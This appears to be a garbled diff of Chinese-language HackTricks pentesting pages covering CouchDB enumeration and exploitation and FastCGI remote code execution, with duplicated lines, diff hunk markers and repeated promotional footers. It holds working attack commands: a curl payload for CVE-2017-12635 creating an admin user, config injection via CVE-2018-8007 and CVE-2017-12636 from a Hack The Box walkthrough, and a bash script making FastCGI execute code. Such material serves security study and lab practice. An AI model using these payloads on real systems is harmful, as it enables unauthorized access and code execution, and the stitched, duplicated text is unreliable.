自动枚举有多种工具和技术可供选择,包括:
- **Port scanning**: This involves scanning the target system or network to identify open ports and services running on those ports. Tools like Nmap can be used for this purpose.
- **端口扫描**这涉及扫描目标系统或网络以识别开放的端口和在这些端口上运行的服务。可以使用诸如Nmap之类的工具来实现此目的。
- **Service fingerprinting**: This technique involves identifying the specific services running on the open ports. Tools like Bannergrab can be used to extract information from service banners.
- **服务指纹识别**这种技术涉及识别在开放端口上运行的特定服务。可以使用Bannergrab等工具从服务横幅中提取信息。
- **Vulnerability scanning**: This involves scanning the target system or network for known vulnerabilities. Tools like OpenVAS and Nessus can be used for this purpose.
- **漏洞扫描**这涉及扫描目标系统或网络以查找已知的漏洞。可以使用OpenVAS和Nessus等工具来实现此目的。
- **Directory and file enumeration**: This technique involves enumerating directories and files on the target system or network. Tools like Dirb and Dirbuster can be used for this purpose.
- **目录和文件枚举**这种技术涉及枚举目标系统或网络上的目录和文件。可以使用Dirb和Dirbuster等工具来实现此目的。
By automating the enumeration process, penetration testers can save time and effort while efficiently gathering information about the target system or network. This information can then be used to identify potential vulnerabilities and plan further exploitation.
通过自动化枚举过程,渗透测试人员可以节省时间和精力,同时高效地收集有关目标系统或网络的信息。然后可以利用这些信息来识别潜在的漏洞并计划进一步的利用。
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## 手动枚举
### 横幅
在进行CouchDB渗透测试时首先要进行的是手动枚举。我们可以通过查看CouchDB的横幅信息来获取有关目标系统的一些基本信息。
使用以下命令来获取CouchDB的横幅信息
```
curl -X GET http://<target>:5984/
```
如果成功连接到CouchDB服务器您将收到一个包含有关CouchDB版本和其他相关信息的响应。这些信息对于后续的渗透测试非常有用。
```
curl http://IP:5984/
```
这将向已安装的CouchDB实例发出GET请求。回复应类似于以下之一:
此操作向已安装的CouchDB实例发出GET请求。回复应类似于以下之一
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
请注意,如果访问couchdb的根目录您将收到`401 Unauthorized`的错误,类似于`{"error":"unauthorized","reason":"Authentication required."}`,您将无法访问横幅或任何其他端点。
请注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,并出现如下信息:`{"error":"unauthorized","reason":"Authentication required."}`**您将无法访问**横幅或任何其他端点。
{% endhint %}
### 信息枚举
以下是您可以使用**GET**请求访问并提取一些有趣信息的端点。您可以在[couchdb文档](https://docs.couchdb.org/en/latest/api/index.html)中找到更多端点和更详细的描述
以下是您可以通过 **GET** 请求访问并提取一些有趣信息的端点。您可以在 [**couchdb 文档中找到更多端点和更详细的描述**](https://docs.couchdb.org/en/latest/api/index.html)。
* **`/_active_tasks`** 正在运行的任务列表包括任务类型、名称、状态和进程ID。
* **`/_all_dbs`** 返回CouchDB实例中所有数据库的列表。
* **`/_cluster_setup`** 返回节点或集群的状态,根据集群设置向导
* **`/_db_updates`** 返回CouchDB实例中所有数据库事件的列表。使用此端点需要`_global_changes`数据库的存在。
* **`/_membership`** 显示作为`cluster_nodes`的集群中的节点。字段`all_nodes`显示此节点知道的所有节点,包括属于集群的节点
* **`/_scheduler/jobs`** 复制作业列表。每个作业描述都包括源和目标信息、复制ID、最近事件的历史记录和其他一些信息
* **`/_scheduler/docs`** 复制文档状态列表。包括有关所有文档的信息,甚至包括`completed`和`failed`状态。对于每个文档它返回文档ID、数据库、复制ID、源和目标以及其他信息。
* **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程 ID。
* **`/_all_dbs`** 返回 CouchDB 实例中所有数据库的列表。
* **`/_cluster_setup`** 根据集群设置向导返回节点或集群的状态。
* **`/_db_updates`** 返回 CouchDB 实例中所有数据库事件的列表。使用此端点需要 `_global_changes` 数据库的存在。
* **`/_membership`** 显示作为 `cluster_nodes` 的集群部分的节点。字段 `all_nodes` 显示此节点所知的所有节点,包括集群的一部分。
* **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 id、最近事件的历史记录等
* **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,即使是 `completed``failed` 状态的文档。对于每个文档,它返回文档 ID、数据库、复制 ID、源和目标等信息。
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** 可以使用`/_node/{node-name}`端点来确认处理请求的服务器的Erlang节点名称。当访问`/_node/_local`以检索此信息时,这是最有用的
* **`/_node/{node-name}/_stats`** `_stats`资源返回一个包含运行服务器统计信息的JSON对象。字符串`_local`用作本地节点名称的别名因此对于所有统计URL可以将`{node-name}`替换为`_local`,以与本地节点的统计信息进行交互。
* **`/_node/{node-name}/_system`** `_system`资源返回一个包含运行服务器各种系统级统计信息的JSON对象。您可以使用`_local`作为`{node-name}`来获取当前节点信息。
* **`/_node/{node-name}`** `/_node/{node-name}` 端点可用于确认处理请求的服务器的 Erlang 节点名称。当访问 `/_node/_local` 以检索此信息时,这最有用
* **`/_node/{node-name}/_stats`** `_stats` 资源返回包含运行服务器统计信息的 JSON 对象。字面字符串 `_local` 作为本地节点名称的别名,因此对于所有统计 URL`{node-name}` 可以替换为 `_local`,以与本地节点的统计信息进行交互。
* **`/_node/{node-name}/_system`** \_system 资源返回包含运行服务器的各种系统级统计信息的 JSON 对象\_。您可以使用 \_\_`_local` 作为 {node-name} 来获取当前节点信息。
* **`/_node/{node-name}/_restart`**
* **`/_up`** 确认服务器正在运行并准备响应请求。如果[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode)为`true`或`nolb`端点将返回404响应。
* **`/_uuids`** 从CouchDB实例请求一个或多个通用唯一标识符UUID
* **`/_reshard`** 返回已完成、失败、运行、停止和总作业的计数,以及集群上的resharding状态。
* **`/_up`** 确认服务器正在运行并准备响应请求。如果 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` `nolb`,端点将返回 404 响应。
* **`/_uuids`** 从 CouchDB 实例请求一个或多个通用唯一标识符UUID
* **`/_reshard`** 返回已完成、失败、运行、停止和总作业的计数,以及集群上重分片的状态。
可以根据此处的说明提取更多有趣的信息:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
可以如此处所解释的那样提取更多有趣的信息:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **数据库列表**
```
curl -X GET http://IP:5984/_all_dbs
```
如果该请求**返回401未经授权**,那么您需要一些**有效的凭据**来访问数据库:
如果该请求**响应401未授权**,则您需要一些**有效的凭据**来访问数据库:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
为了找到有效的凭证,你可以尝试对服务进行暴力破解
为了找到有效的凭证,你可以**尝试**[**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)
这是一个 CouchDB 响应的示例,当你拥有足够的权限来列出数据库时(它只是一个数据库列表):
以下是当你拥有足够权限列出数据库时couchdb的**响应**示例(这只是数据库列表):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### 数据库信息
您可以通过访问数据库名称来获取一些数据库信息(如文件数量和大小):
您可以通过访问数据库名称来获取一些数据库信息(如文件数量和大小):
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
@ -131,75 +93,7 @@ curl http://localhost:5984/simpsons
```
### **文档列表**
列出数据库中的每个条目
```plaintext
GET /{database}/_all_docs
```
**Example Response:**
```json
{
"total_rows": 3,
"offset": 0,
"rows": [
{
"id": "doc1",
"key": "doc1",
"value": {
"rev": "1-234567890abcdef"
}
},
{
"id": "doc2",
"key": "doc2",
"value": {
"rev": "1-34567890abcdef"
}
},
{
"id": "doc3",
"key": "doc3",
"value": {
"rev": "1-4567890abcdef"
}
}
]
}
```
### **示例响应:**
```json
{
"total_rows": 3,
"offset": 0,
"rows": [
{
"id": "doc1",
"key": "doc1",
"value": {
"rev": "1-234567890abcdef"
}
},
{
"id": "doc2",
"key": "doc2",
"value": {
"rev": "1-34567890abcdef"
}
},
{
"id": "doc3",
"key": "doc3",
"value": {
"rev": "1-4567890abcdef"
}
}
]
}
```
列出数据库内的每个条目
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
@ -216,28 +110,28 @@ curl http://localhost:5984/simpsons/_all_docs
```
### **读取文档**
读取数据库文档的内容:
读取数据库内部文档的内容:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB特权提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
## CouchDB 权限提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
由于Erlang和JavaScript JSON解析器之间的差异您可以使用以下请求**创建一个具有凭据`hacktricks:hacktricks`的管理员用户**
由于 Erlang JavaScript JSON 解析器之间的差异,您可以使用以下请求**创建一个管理员用户**,凭据为 `hacktricks:hacktricks`
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**关此漏洞的更多信息请点击此处**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
[**此漏洞的更多信息**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB远程命令执行RCE
## CouchDB RCE
### Erlang Cookie
在CouchDB文档的[集群设置部分](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)讨论了CouchDB使用的不同端口
在CouchDB文档的[集群设置部分](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)讨论了CouchDB使用的不同端口
> CouchDB在集群模式下使用端口`5984`,就像独立模式一样,但它使用`5986`用于节点本地API。
> CouchDB在集群模式下使用端口`5984`,就像独立模式一样,但它使用`5986`用于节点本地API。
>
> Erlang使用TCP端口`4369`EPMD来查找其他节点因此所有服务器必须能够在此端口上相互通信。在Erlang集群中所有节点都连接到所有其他节点。一个网状结构。
@ -245,21 +139,21 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
如果我们查看进程列表,我们可以看到cookie"monster"
如果我们查看进程列表,我们可以看到那个cookie“monster”
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
**您可以**[**阅读此部分以了解如何滥用Erlang的cookie以获取RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。**
此外,您可以阅读一些**Canape HTB机器的写作**[**像这个**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)**,以了解和**练习**如何**利用此漏洞**。
**您可以**[**阅读本节了解如何滥用Erlangs cookies以获得RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。**\
此外,您可以阅读一些**Canape HTB机器剖析**[**像这篇**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)来看看并**实践**如何**利用这个漏洞**。
### **成功的CVE-2018-8007与local.ini写入权限**
### **成功利用CVE-2018-8007并具有local.ini写权限**
在撰写本文时我发现mdsec发布了CouchDB的一个新CVE[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。它还需要对`local.ini`文件进行写入因此对于Canape来说并不是一个有用的选项。但是既然我已经将其作为root用户设置为可写让我们看看是否可以使其工作。
在撰写本文时我发现mdsec发布了一个新的CouchDB CVE[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。它也需要对`local.ini`文件的写入权限所以它对Canape来说不是一个有用的选项。但既然我已经将其设置为root可写让我们看看我们是否能让它工作。
从一个干净且现在可写的`local.ini`开始(并备份)
从一个干净且现在可写的`local.ini`(和一个备份)开始
```
root@canape:/home/homer/etc# ls -l
total 40
@ -268,11 +162,11 @@ total 40
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
我们可以使用curl命令修改`local.ini`文件中的源。这里的漏洞是如果我们使用curl命令放置一个新的源然后加上换行符我们可以写入其他内容包括一个新的头部和详细信息。因此,我们将利用`[os_daemons]`字段并添加一个CouchDB尝试持运行的进程
我们可以使用curl修改`local.ini`文件中的origins。这里的漏洞是如果我们使用curl放入一个新的origin然后是新的行我们可以写入额外的内容包括一个新的头部和细节。因此,我们将利用`[os_daemons]`字段,并添加一个进程让CouchDB尝试持运行:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
在根shell中我们可以看到有哪些更改
在根shell中我们可以看到变化
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -283,12 +177,12 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
然而,该文件并不存在
文件却不在那里
```
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
```
如果我们查看带有“couchdb”的cmdline运行的进程我们不仅可以看到之前使用的cookie值的命令行还可以看到`runsrv couchdb`
如果我们查看带有“couchdb”命令行的正在运行的进程我们不仅可以看到早先我们使用过的cookie值的命令行还有`runsrv couchdb`
```
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
@ -296,27 +190,27 @@ root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /va
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
```
如果我们杀掉该进程它会立即重新启动注意新的进程ID
如果我们终止那个进程它会立即重启注意新的pid
```
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
```
并且,在重新启动时,运行操作系统守护进程
在重启时运行OS\_Daemons
```
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
### **通过具有local.ini写权限的CVE-2017-12636成功尝试**
### **通过 CVE-2017-12636 成功尝试并具有 local.ini 写权限**
CVE-2017-12636允许通过couchdb进程执行代码。然而在这个配置中它不起作用。
CVE-2017-12636 允许通过 couchdb 进程执行代码。然而,在这种配置中它不会起作用。
有一些参考的POC
有一些 POC 可以作为参考
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
我们需要编写一个新的query\_server然后调用它。当Canape发布时大多数POC都是针对couchdb 1.x的这个盒子正在运行2.x所以大多数POC的query\_servers路径不存在。现在已经改变了但我们将按照相同的步骤进行。首先获取版本并显示1.X路径不存在:
我们需要编写一个新的 query\_server然后调用它。当 Canape 发布时,大多数 POC 都是针对 couchdb 1.x 的,但这个盒子运行的是 2所以大多数 POC query\_servers 路径不存在。现在已经改变了,但我们将遵循相同的步骤。首先,获取版本,并显示 1.X 路径不存在:
```bash
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
@ -332,22 +226,22 @@ www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
```
从那里我们应该添加一个query\_server然后调用它但我们无法做到。
从那里,我们应该添加一个`query_server`然后调用它,但我们做到。
```bash
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
```
一些谷歌搜索显示这是一个权限问题。实际上,如果我们使用root shell检查我们会发现`local.ini`文件不可写,甚至不可被任何人写入更不用说www-data了
一些谷歌搜索显示这是一个权限问题。实际上,如果我们用我们的root shell检查我们可以看到`local.ini`文件是不可写的更不用说www-data了
```
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
```
所以对于Canape来说这是个死胡同。但是如果我们想尝试让它工作我们可以使用我们的root或homer访问权限使其可读并继续沿着这条路径前进。我们将备份原始文件以便查看更改内容
因此对于Canape来说这是一个死胡同。但如果我们想尝试让它工作我们可以使用我们的root或homer访问权限使其可读并继续沿着这条路走下去。我们将备份原始文件,以便我们可以看到所做的更改
```
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
```
现在回到我们的www-data shell
现在,回到我们的 www-data shell
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
@ -357,7 +251,7 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couch
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
我们得到了cmd查询服务器的先前值这意味着成功。在root shell中我们可以看到它起作用了
我们得到了之前的cmd查询服务器的值这意味着成功。在根shell中我们可以看到它起作用了
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
@ -365,9 +259,11 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
---
> cmd =
```
现在我们应该能够创建一个数据库然后在该数据库中创建一个文档并使用一个将我们的query\_server映射到执行的视图来请求它。
```markdown
现在,我们应该能够创建一个数据库,然后在该数据库中创建一个文档,并通过映射我们的 query_server 的视图请求它以获得执行。
创建数据库和文档:
```
```bash
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
@ -391,7 +287,7 @@ www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
在一个视图中请求它
请求它在一个视图中:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
```
@ -408,16 +304,14 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,33 +1,31 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
# 基本信息
如果你想**了解什么是FastCGI**,请查看以下页面:
如果您想了解什么是FastCGI,请查看以下页面:
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
默认情况下,**FastCGI**在**9000端口**运行并且nmap无法识别。**通常**FastCGI只在**本地主机**上监听。
默认情况下,**FastCGI**运行在**端口** **9000**上并且不被nmap识别。**通常**FastCGI只在**localhost**监听。
# RCE
很容易让FastCGI执行任意代码
让FastCGI执行任意代码相当容易
```bash
#!/bin/bash
@ -47,21 +45,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
```markdown
或者您也可以使用以下Python脚本[https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
```

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
